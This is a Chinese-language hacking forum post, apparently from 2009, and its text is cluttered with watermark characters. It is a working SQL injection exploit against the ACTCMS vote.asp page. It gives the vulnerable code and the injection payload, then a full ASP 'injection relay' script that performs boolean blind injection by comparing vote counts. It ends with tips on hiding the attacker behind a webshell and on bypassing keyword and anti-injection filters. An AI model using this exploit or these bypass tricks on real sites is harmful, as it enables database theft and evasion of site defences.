9 {8 |! ?3 @9 o% _$ ^
看到ninty大牛的blog的一篇文章( Q/ @* p: n7 ^6 I
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
2 Q2 \" t0 R% j; S关于actcms漏洞的利用 by 3x qq:381862589: S7 W% j; z9 V! `0 U' H- R; O
转载请注明以上- c4 \: R6 _7 t8 K" d L
漏洞文件:% W9 X, p' b5 y. Q
/plus/vote/vote.asp
7 V6 ?$ T; ^' M3 Y代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 1 e5 M6 m4 {* f( f/ b
$ w8 M) g4 f$ c5 Q
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
2 S5 ]* z/ ~6 X2 M1 E( f
" S$ @- A2 B z9 y( O0 s9 r3 response.end
# h2 [& ] F* }8 R) U$ U+ ^; r0 v/ A4 e7 X: `% y+ g; i) f- i
4 end if
- Y* }- a- n7 B5 c; u) I6 R
' b& R& W- ^5 C: ]& _7 w4 T5 for i=1 to request("voted").count
# ~: k4 p6 }( _( j& |, X: @; I$ Y6 T
* Q, h, ? [( V6 j- a6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) 5 ^6 e* [% G+ Q0 O! |
$ i& C1 J2 M- R+ G8 D/ a" f3 A
7 next
4 J, N( [% u3 O; j* Y$ y! c! n( ~0 x4 t; A H1 z7 L
8....
8 p) e* o# Y, O/ r7 p7 k8 n F9 w: r
9response.Redirect "index.asp?id="&id&"" & c; E& r: K; b7 w+ a. @2 L
投票结束回跳转回index.asp这个投票结果页面
( d L9 `* t5 d% F* e+ r' }如果投票成功票数加1
1 }* b |% K8 v( [3 A) V 失败票数不变
4 R; o) r+ J* m如图:
' M& ~8 l8 `8 z2 f% @3 E$ Ohttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
" F! @ O9 P* R$ x& g
+ B a8 i# g! f$ ?2 H& M2009-12-27 13:20, e) ]4 K- B. ~9 m% j# l, K" b
. i0 S# @+ ]+ U1 y利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
2 T) b: t) _' m9 P4 @' t( _
* C X+ P& h0 M本帖隐藏的内容需要回复才可以浏览
! ~9 T8 P' {% D7 [7 c: Z我们用注入中转来实现这个注入具体代码如下:
+ M! b! S% \: m+ V" S# a" v先用寂寞的刺猬大牛的注入中转生成jmget.asp0 P9 @2 d9 G v: t$ j2 I& x* o
注入地址:http://localhost/actcms/plus/vote/vote.asp+ P% k$ j7 z: h
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项( J8 f. `% {# X" E, ]7 k# D
j }& B( ^' Z( H2 r8 @- m然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
( H# Z0 i& o+ ]: M1 d0 v2 W
3 i. r, b0 P" D02JmdcwName=request("jmdcw")
$ O9 X3 N% K5 u$ J9 k
* T" y8 O/ ?7 ~/ w* w- M8 L03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ) d$ L4 P8 a" u+ S1 n- X, L
" `& p/ Q& n& l04JmStr="id=1&voted=-1 or 1="&JmdcwName
3 \5 k1 S# w, C7 V) X+ B: @4 w. E+ k" \! k1 f
05JmStr=URLEncoding(JmStr)
S! S$ E" |6 h! x3 @6 [ _) i: d
) [, C# f u. ^2 V" v( f0 d06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"4 R* j, L! w" j% q$ K1 K
" \/ E1 k& b$ [$ Y4 j1 N07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
j* J, |% E$ P5 B
3 U9 e1 ]+ C5 m$ V" h' O5 U2 F08testurl=testurl & "?" & JmStr % _2 q, V* r: o0 _
! C+ a' W1 x. T1 K/ }09JMUrl=JMUrl & "?" & JmStr
6 p' K) E' J2 E3 O; T5 S: i' X
) r+ g5 }. j& f10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
) d6 [! i) z& |) p+ r4 B
( `/ C) D' _" [11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
* V! k% J- {; W. E" M* Z+ N4 L$ I$ W/ [0 |( L: n4 P
12JmCok=replace(JmCok,chr(32),"%20")
6 G5 L& C, c- ~! C. ?5 g! |- Z2 m) ]
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 8 }/ m/ _; f, y& H' M
v; p& ^. @/ T
14
/ }* b" w" t0 q M
9 B! p. a+ |9 M1 s# l$ f" g15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
$ r+ z, ^2 t# w2 a" ~8 W, e5 h Y9 t' w
16 & q- }3 X! P- }( q
3 u. j6 } ]& }
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 2 {; u% k; f! R, e1 e( k
; i8 x; J1 Q* R7 w
18response.write test1&""&test2&""0 Q k4 ~, z8 r1 q. [% U j& j
& }% A- X3 S: [4 }# i2 @
19
+ s3 b c9 Z' y. I, p
0 X+ s3 r, o) V9 B8 ], j20if test1=test2 then '如前后记录相等,表示失败
" q$ z& `% C& N! ?" D! i" Y1 R
0 M0 F: p6 x( w6 o+ q1 J21 response.write "failed"* t( J+ Q6 f6 U8 x
0 M! r3 F4 X0 Y9 `# R' w" L" V; C
22else
+ i N, \; [3 I' ] H* |; R9 I4 {2 D: \
23 response.write "succeed"/ f8 F/ E6 j, D! U4 D! c+ ?
$ `, r3 [, U: o4 j( X
24end if 4 L! X" ]( Z0 `) a; S8 d7 Z: |0 h
1 J2 T+ T; B* i% ~# q25 , ^0 `! G2 |( J/ I, c5 G
; H: z' K* O/ g% {/ ~
26response.write "by 3x"
/ n6 v& I g' z9 b8 T0 R, Y$ e9 P
27 0 X2 v9 J. h0 Z* Z6 n) M
! X: N0 |; P, w% s* D1 |6 [0 w28 * u9 } o0 r7 K; K9 }( N
?. ~3 C! J) r) X& V7 {0 N* O/ T8 O W: P' F
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
. i- G7 i. P1 `' ~5 f" w9 A9 Z( K
30Dim Http & c+ {. a4 R; v& f' H' C. p
6 Z( H" b8 ~0 t: Y31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
. ?) t) k- s; ]0 }* X
) w; a9 I) i" W. s9 N( x9 c32With Http
( g) v3 u3 J, D+ i% W% x( I* X& P9 I& {+ Y# Z# V* \4 M- B4 Z# j
33 / n0 j/ ]: h/ x! K, o
3 D3 v. g2 R, b# U
34.Open "GET",PostUrl,False& `! {& C. c8 m
. j7 J$ Z9 L, I1 M+ {0 }. T Z- e
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded" i# |# ]3 n; ]- u. {( F6 g
- @: C6 S T) u9 s1 ]& [/ ^36.SetRequestHeader "Referer",PostRef ! J# _) l- e5 S8 K- z
# F' d! i) {% K
37.SetRequestHeader "Cookie",PostCok
! M! g; r3 [6 p$ Q) m: H7 [) M8 L( V- s, `2 d6 n1 ^
38.Send () 1 c- [2 Y5 V( O; o. A. ]
& {# Z/ ~% g* A# L39PostData = .ResponseBody 6 O6 `3 [0 l v4 d
% j& x$ {) Z( r40End With
' T. Y$ H- ~1 R( H+ b
2 t( h& x4 T% n0 g3 Q# g41Set Http = Nothing
5 G6 H( @0 L: E9 ~* v1 q( n) Z) w) o9 D7 E9 |
42PostData =bytes2BSTR(PostData) % j" \; o2 O4 m
' D2 w4 G& z+ Y V8 Y) c43End Function# }, B9 D+ |3 f5 m5 s' P/ L/ Y. j2 d
+ C5 R" W* r. J- a3 e0 F3 `0 @; O
44
9 u2 q( ?0 O: R( t- I( [4 ?5 i9 f: [
45 9 z/ K; a0 g7 d* }. @
! S1 x% Z* U1 |46Function bytes2BSTR(vIn) % b5 t8 G n6 Z! X' u- m' X
% D m& J7 O* K1 N47Dim strReturn 1 _3 P' |7 g1 ~% V7 J+ y# T; n
: ?% E2 [) t; a4 p& h$ M5 O5 R
48Dim I, ThisCharCode, NextCharCode & V- @; `2 M( Z8 _: K7 h
w6 c6 R( F6 |+ R49strReturn = ""
5 d* D& S6 m- j3 u% B+ r& i1 P% e/ Z, R9 P
50For I = 1 To LenB(vIn)
9 m1 k7 d: r& D7 J; e
S2 \1 O+ j# ?3 S( F! c51ThisCharCode = AscB(MidB(vIn, I, 1)) 2 ]! F. j& F2 d. L0 M+ c* g
$ q( W$ `: i+ C0 a' w" g
52If ThisCharCode < &H80 Then3 U+ s; d2 q- z* C- z
- f6 N* ~! x+ C0 c1 G2 d! _; m
53strReturn = strReturn & Chr(ThisCharCode) / o" x* f# k8 L: T! m
8 z9 t8 K9 M( q; k, p, F. f54Else; h; o4 ~) a& F& `
~0 o% I" H: G3 `" @55NextCharCode = AscB(MidB(vIn, I + 1, 1))
' Y$ r3 h" N" A6 @
1 b7 z! e& }; L+ U; P0 P) ?56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
; T$ O0 H p1 j* j6 k
9 r) r; w8 |$ m; g57I = I + 1
! b4 i0 g& }5 C8 u: \$ J
4 v* @% K7 T( o3 J, k7 [58End If; ]4 _5 k% X. b( O( q
/ V4 @4 A& n% |+ g E59Next
( {$ X2 Z7 C. J$ c# S$ l$ K
1 H6 p1 i# P+ G0 {( X7 O60bytes2BSTR = strReturn ; [+ h) C9 }1 R. s. o. E2 \. ~( Y
! A! I' U4 C3 H ~/ x61End Function
) o4 g' |& Y; j, M9 }+ z6 l) w7 J/ ?% V+ Z
62
# N) i/ @3 {+ @5 M" @8 ~ e# m( e7 B$ g& A) z
63Function URLEncoding(vstrin) & o/ C8 X8 k# \" |: t4 k
! } e# s# ^3 X6 T# x
64strReturn=""
" [5 `8 n- g4 ^5 a- Y! y) w: Y" j7 b
65Dim i & S# l# R5 ]+ W. O
% X! R' ` [* E; F. J4 W0 w66For i=1 To Len(vstrin) ! H+ Z+ ?+ `9 i5 b4 o
* {, ?3 f4 J" R( d
67ThisChr=Mid(vstrin,i,1) * ?7 S( o }3 I5 E$ S
% @5 _( o. n6 p' v1 {+ r8 n% _$ E; s
68if Abs(Asc(ThisChr))< &HFF Then$ V9 g$ [. Y: B3 l
! t9 e- u6 w+ L& |$ g* _( Q5 q
69strReturn=strReturn & ThisChr . S& J$ K$ k* T
/ u# {7 Z, O, y" \1 u' e3 s3 W
70Else7 x! `! q1 l* x
+ \, T/ k5 o4 ?' j& B9 @( n
71InnerCode=Asc(ThisChr) 0 K: c; _7 ?( [, O! @ H
4 F2 @, m0 ?' H/ L$ A: j72If InnerCode<0 Then/ \& o6 f. R& ?) n
0 Z0 V; t% D! B73InnerCode=InnerCode + &H10000
. W! C T3 X# U. y
% B8 P4 h7 X) j, G* y- r74End If7 D$ L9 U% P. W/ C1 V
. K4 S; d. l" p1 f75Hight1=(InnerCode And &HFF00) \&HFF * F& C# ?- i: }1 ?. o& R
' v9 `" Y l ?* F9 t" `/ Y
76Low1=InnerCode And &HFF 3 k$ l4 [2 P3 M. v! R# B
. l0 B9 m2 V& ~. {2 g/ q! X
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 4 }( r3 t: r) a
. R k5 Y9 A5 x; \78End if
2 ]7 Q& I6 i' l o4 f
$ f3 o8 r' i( o+ K( u3 m( C79Next; T3 G A+ D z' } ]: H
. [1 Z/ h% l l( O$ J: W) W80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
. x0 } V1 r( f( D$ N4 S& n7 P3 G
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 + R G; |7 o, m
. s3 Y) g- h }) R: x; J7 T82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 8 x( X1 Z1 e$ _% T+ H ]
8 j& I6 z1 @( @7 K
83URLEncoding=strReturn . f5 h, @# ]! m' A
# ~- N0 E* \3 h* {$ i5 _84End Function( `+ n) S: o5 b0 y$ o
G# _8 J1 L R$ R4 k0 x+ |: f
85 ) H6 t0 I- _+ K
( p8 Y4 }# F7 A+ f4 c* C/ M: W
86function getSt(body) 4 o9 T7 ?2 ^4 e0 U1 Q! x, A
8 ~$ j) R! u% k1 C* i3 a+ {87 startpot=instr(body,"投票人数:")+len("投票人数:") 1 L& k/ F# v8 k/ _, r1 A
' @& o$ f# a0 {) G
88 endpot=instr(startpot,body," ")
2 Z& A7 u6 x6 y6 B9 Q
6 P* H0 x5 j, L* Q% n2 m) F89 getSt=mid(body,startpot,endpot-startpot) o1 R) R3 _" A* y4 B; j4 J4 N
I3 O* e/ E2 c! T3 q90end function / T3 s4 E1 z9 l' c7 `- p$ Q0 O9 F
( |/ K7 h) B5 F* q$ b& q91%>' T2 ]( o$ B: X
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了% M& Q+ x: d7 X0 g: B
测试下效果:+ z# J ?% q! l& r; Z8 U9 q
投票成功:
* ^% L: `* w i" _# B# x% |http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
5 ?+ Y/ @4 l2 M0 ?1 M0 n6 n
' V; \- D% u) c2009-12-27 13:29* u) u1 n3 q3 E( e+ O
投票失败
1 Q7 Y: K, B) q7 chttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)) m4 l' W, k7 l1 w. z, }
n) J8 [$ m. L' U7 g" R2009-12-27 13:29 m0 e& P9 R' Z7 J" m) X
-------------------------------------------------------------------------------
: `; f3 f. H; J/ W' o1 e4 k' X再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以0 z3 k% F2 ?1 {; O$ j
很抱歉。。。只能用单线程工具去注入。。。。。
$ x. B/ d4 x8 Q/ Z) Q: x所以失败。。。不好意思。。。2 l; ^- a! b$ ]
-------------------------------------------------------------------------------. z( C( F9 I3 o* i
! V7 O5 S+ O; \+ |# L- `( V- c P
注入中转的一些其他应用
( i- Z i; s# c, b# C其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了) q4 {( ]& }! p: n
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id% k6 x e+ M( w; S
2.post注入转成get型的注入,方便我们使用工具来跑! f y& C- s. K* n
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")( d8 ^: _7 u7 X9 C; ^* `
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过1 x' E) S9 L; ^4 D
7 R2 J: l9 ?) r& ~- i$ {# |7 R% h |